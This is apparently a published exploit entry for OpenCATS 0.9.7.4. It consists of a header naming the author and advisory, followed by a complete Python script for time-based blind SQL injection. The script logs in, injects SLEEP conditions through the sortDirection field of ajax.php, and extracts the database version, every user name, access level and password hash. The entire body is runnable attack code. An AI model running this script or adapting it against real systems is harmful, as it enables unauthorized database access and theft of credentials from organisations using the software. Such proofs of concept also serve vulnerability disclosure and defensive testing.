# Exploit Title: OpenCATS 0.9.7.4 - SQL Injection # Exploit Author: Gabriel Rodrigues (TEXUGO) from HAKAI # Vendor Homepage: https://www.opencats.org # Software Link: https://github.com/opencats/OpenCATS # Version: <= 0.9.7.4 # Tested on: Ubuntu 22.04 / Apache2 / PHP / MariaDB 10.6 # CVE: N/A (GHSA-8mc8-5gw6-c7w4) import requests, json, sys, time url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8888" user = sys.argv[2] if len(sys.argv) > 2 else "admin" pw = sys.argv[3] if len(sys.argv) > 3 else "cats" delay = 1.5 s = requests.Session() s.get(f"{url}/index.php") s.post(f"{url}/index.php?m=login&a=attemptLogin", data={"username": user, "password": pw}, allow_redirects=True) def sqli(payload): t = time.time() s.get(f"{url}/ajax.php", timeout=30, params={"f": "getDataGridPager", "i": "candidates:candidatesListByViewDataGrid", "p": json.dumps({"sortBy": "dateModifiedSort", "sortDirection": payload, "rangeStart": 0, "maxResults": 15})}) return time.time() - t def blind(cond): return sqli(f"DESC,IF(({cond}),SLEEP({delay}),0)") > delay * 0.6 def extract(query, maxlen=100): out = "" for i in range(1, maxlen + 1): if blind(f"LENGTH({query})<{i}"): break lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 lo, hi = (mid + 1, hi) if blind(f"ORD(SUBSTRING({query},{i},1))>{mid}") else (lo, mid) out += chr(lo) return out base = sqli("DESC") slp = sqli("DESC,SLEEP(2)") print(f"baseline={base:.2f}s sleep(2)={slp:.2f}s") assert slp > base + 1, "not vulnerable or no candidate rows" print("injection confirmed\n") print("version:", extract("@@version", 30)) print("database:", extract("DATABASE()", 20)) n = int(extract("(SELECT COUNT(*) FROM user)", 3)) print(f"users: {n}\n") for i in range(n): name = extract(f"(SELECT user_name FROM user ORDER BY user_id LIMIT {i},1)", 40) level = extract(f"(SELECT access_level FROM user ORDER BY user_id LIMIT {i},1)", 5) hash_ = extract(f"(SELECT password FROM user ORDER BY user_id LIMIT {i},1)", 62) print(f" {name} level={level} hash={hash_}")